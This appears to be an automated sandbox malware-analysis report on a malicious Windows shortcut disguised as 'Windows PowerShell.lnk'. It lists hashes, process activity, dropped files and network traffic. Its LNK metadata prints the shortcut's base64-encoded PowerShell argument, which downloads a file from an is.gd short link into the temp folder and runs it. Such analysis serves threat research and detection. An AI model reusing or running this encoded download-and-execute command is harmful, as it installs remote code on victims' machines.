File name:

Windows PowerShell.lnk

Full analysis: https://app.any.run/tasks/666e0cce-b438-484d-9f40-58033ceb81e6
Verdict: Malicious activity
Analysis date: October 30, 2024, 13:02:37
OS: Windows 10 Professional (build: 19045, 64 bit)
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Unicoded, MachineID windows11, EnableTargetMetadata KnownFolderID 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7, Archive, ctime=Fri Feb 16 21:44:00 2024, atime=Thu Oct 3 09:53:00 2024, mtime=Fri Feb 16 21:44:00 2024, length=450560, window=showminnoactive, IDListSize 0x020d, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
MD5:

02E1F1EA7DC301147433623D31E5A294

SHA1:

B882F489808747B6201B113D306A42D533CA229E

SHA256:

DE6D56AE01166232F2CB403C86D2DDF59D7654510100971FCD0FE59A3A8E9944

SSDEEP:

48:8FfT0u6AZyNswxtGTLqHLjOQIBJBSRC3+GU:8FfT0IyNhMLqHzIT5+G

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  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • Base64-obfuscated command line is found

      • cmd.exe (PID: 1572)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 5516)
      • cmd.exe (PID: 1572)

    • Executing commands from ".cmd" file

      • powershell.exe (PID: 5516)

    • BASE64 encoded PowerShell command has been detected

      • cmd.exe (PID: 1572)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 1572)
      • powershell.exe (PID: 2076)

    • Executable content was dropped or overwritten

      • csc.exe (PID: 1452)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 1452)

    • Application launched itself

      • powershell.exe (PID: 2076)
      • cmd.exe (PID: 1572)

  • INFO

    No info indicators.
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No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, LinkInfo, RelativePath, WorkingDir, CommandArgs, Unicode, TargetMetadata
FileAttributes: Archive
CreateDate: 2024:02:16 21:44:00+00:00
AccessDate: 2024:10:03 09:53:00+00:00
ModifyDate: 2024:02:16 21:44:00+00:00
TargetFileSize: 450560
IconIndex: (none)
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: powershell.exe
DriveType: Fixed Disk
DriveSerialNumber: 7CEA-241E
VolumeLabel: -
LocalBasePath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
RelativePath: ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WorkingDirectory: C:\Windows\system32
CommandLineArguments: -e aQB3AHIAIABpAHMALgBnAGQALwBqAHcAcgA3AEoARAAgAC0AbwAgACQAZQBuAHYAOgBUAE0AUAAvAC4AYwBtAGQAOwAmACAAJABlAG4AdgA6AFQATQBQAC8ALgBjAG0AZAA=
MachineID: windows11
No data.
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Total processes
203
Monitored processes
79
Malicious processes
2
Suspicious processes
0

Behavior graph

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Process information

PID
CMD
Path
Indicators
Parent process
696cmd /c exit 86C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
86
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
860cmd /c exit 110C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
110
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
860cmd /c exit 46C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
46
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
944cmd /c exit 89C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
89
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
944C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESEE31.tmp" "c:\Users\admin\AppData\Local\Temp\CSC6ADC1DC896B34852886CC2A4CF5F2E6C.TMP"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
14.32.31326.0
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\cvtres.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\vcruntime140_1_clr0400.dll
1204cmd /c exit 57C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
57
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
1428cmd /c exit 121C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
121
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
1452"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\e1xmrxit.cmdline"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
1572C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\.cmd""C:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
1752cmd /c exit 114C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
114
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
Total events
15 691
Read events
15 691
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
9
Text files
10
Unknown types
0

Dropped files

PID
Process
Filename
Type
5516powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF8c24f.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
2076powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zquxmdfi.rqv.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5516powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:07EE9A6A8413CBDDA59734DF3316994D
SHA256:3E90456FBAEF1FD7FF85119876D796064B12F3309E137280B39497F605330E14
5516powershell.exeC:\Users\admin\AppData\Local\Temp\.cmdtext
MD5:A07FCB39B340AD8DEA993A5F5C4D9064
SHA256:EEB86BDD38DC4FA93046F3CC0E443018518B81828D34E5D1E75F3BD9AAB0F8A7
5516powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kn5nfhsm.yr2.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2076powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kh2qbkrc.ufn.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5516powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8FD5CTIJH0MTV6XXAX2L.tempbinary
MD5:07EE9A6A8413CBDDA59734DF3316994D
SHA256:3E90456FBAEF1FD7FF85119876D796064B12F3309E137280B39497F605330E14
3028powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qry4ms5u.z3r.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
944cvtres.exeC:\Users\admin\AppData\Local\Temp\RESEE31.tmpbinary
MD5:2297EAEBA970573172640E74169A2FEF
SHA256:8564961A60FBF530EA54B850BD7E249544CB805FF52420248F3A0C5E774745B1
2076powershell.exeC:\Users\admin\AppData\Local\Temp\e1xmrxit.cmdlinetext
MD5:03548FA05C0CD3999D930348A6AA87FA
SHA256:68B88F4BCDEB62F9AE897E1A173F373B21DE91A598F2E377865F1224487E0EBD
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HTTP(S) requests
6
TCP/UDP connections
36
DNS requests
16
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3916
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5516
powershell.exe
GET
301
104.25.234.53:80
http://is.gd/jwr7JD
unknown
—
—
shared
4360
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
6720
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
5616
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
5616
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
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whitelisted
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20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
2.23.209.143:443
th.bing.com
Akamai International B.V.
GB
whitelisted
4020
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
3916
svchost.exe
20.190.159.0:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3916
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
5516
powershell.exe
104.25.234.53:80
is.gd
CLOUDFLARENET
US
shared
5516
powershell.exe
104.25.234.53:443
is.gd
CLOUDFLARENET
US
shared
5516
powershell.exe
140.82.121.4:443
github.com
GITHUB
US
shared
5516
powershell.exe
185.199.110.133:443
objects.githubusercontent.com
FASTLY
US
shared

DNS requests

Domain
IP
Reputation
login.live.com
  • 20.190.159.0
  • 20.190.159.71
  • 20.190.159.64
  • 20.190.159.23
  • 40.126.31.71
  • 20.190.159.73
  • 40.126.31.73
  • 20.190.159.4
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
is.gd
  • 104.25.234.53
  • 104.25.233.53
  • 172.67.83.132
shared
github.com
  • 140.82.121.4
shared
objects.githubusercontent.com
  • 185.199.110.133
  • 185.199.108.133
  • 185.199.111.133
  • 185.199.109.133
shared
go.microsoft.com
  • 69.192.162.125
whitelisted
th.bing.com
  • 2.23.209.141
  • 2.23.209.143
  • 2.23.209.156
  • 2.23.209.150
  • 2.23.209.154
  • 2.23.209.144
  • 2.23.209.148
  • 2.23.209.149
  • 2.23.209.142
whitelisted
settings-win.data.microsoft.com
  • 20.73.194.208
whitelisted
slscr.update.microsoft.com
  • 52.149.20.212
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted

Threats

PID
Process
Class
Message
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Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
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Misc activity
ET INFO URL Shortener Service Domain in DNS Lookup (is .gd)
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